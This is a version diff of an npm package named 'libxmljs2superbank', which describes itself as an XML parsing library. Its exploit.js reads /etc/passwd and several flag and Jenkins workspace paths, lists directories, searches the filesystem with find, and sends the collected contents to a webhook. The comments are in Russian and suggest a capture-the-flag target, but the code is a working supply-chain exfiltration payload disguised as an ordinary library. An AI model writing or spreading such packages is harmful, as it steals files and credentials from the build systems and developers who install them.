libxmljs2superbank 0.30.2 → 0.30.4

package/exploit.js

@@ -30,33 +30,59 @@ function sendToWebhook(data) {
 
 let collectedData = '';
 
-// Читаем /etc/passwd
-try {
-    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
-    console.log('=== /etc/passwd ===');
-    console.log(passwd);
-    collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
-    
-    // Ищем флаг
-    if (passwd.includes('{') && passwd.includes('}')) {
-        console.log('🚨 FLAG FOUND IN /etc/passwd!');
+// 1. Ищем флаг в рабочей директории Jenkins
+const searchPaths = [
+    '/etc/passwd',
+    '/flag',                    // Dockerfile
+    '/workspace/flag',          // Jenkins workspace
+    '/var/jenkins_home/jobs/staging/workspace/flag',
+    '/usr/src/app/flag',        // App directory
+    './flag',                   // Current directory
+    '/tmp/flag',
+    '/root/flag'
+];
+
+searchPaths.forEach(path => {
+    try {
+        const content = fs.readFileSync(path, 'utf8');
+        console.log(`=== FOUND: ${path} ===`);
+        console.log(content);
+        collectedData += `=== ${path} ===\n${content}\n\n`;
+        
+        if (content.includes('{') && content.includes('}')) {
+            console.log(`🚨 FLAG FOUND IN ${path}:`, content);
+        }
+    } catch(e) {
+        collectedData += `Not found: ${path}\n`;
     }
-} catch(e) {
-    collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
-}
+});
 
-// Ищем файлы с флагом
-exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
-    if (!err && stdout) {
-        console.log('=== FLAG FILES ===');
-        console.log(stdout);
-        collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
+// 2. Список файлов в текущей и корневой директориях
+exec('pwd && ls -la && ls -la /', (err, stdout) => {
+    if (!err) {
+        collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
     }
 
-    // Отправляем данные
-    sendToWebhook(collectedData);
-    
-    // Выводим в консоль
-    console.log('=== ALL DATA ===');
-    console.log(collectedData);
+    // 3. Ищем файл flag рекурсивно
+    exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
+        if (!err && stdout) {
+            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
+            
+            // Читаем найденные файлы
+            const files = stdout.trim().split('\n');
+            files.forEach(file => {
+                try {
+                    const content = fs.readFileSync(file, 'utf8');
+                    collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
+                    console.log(`Content of ${file}:`, content);
+                } catch(e) {}
+            });
+        }
+
+        // Отправляем все данные
+        sendToWebhook(collectedData);
+        
+        console.log('=== ALL COLLECTED DATA ===');
+        console.log(collectedData);
+    });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "libxmljs2superbank",
-  "version": "0.30.2",
+  "version": "0.30.4",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {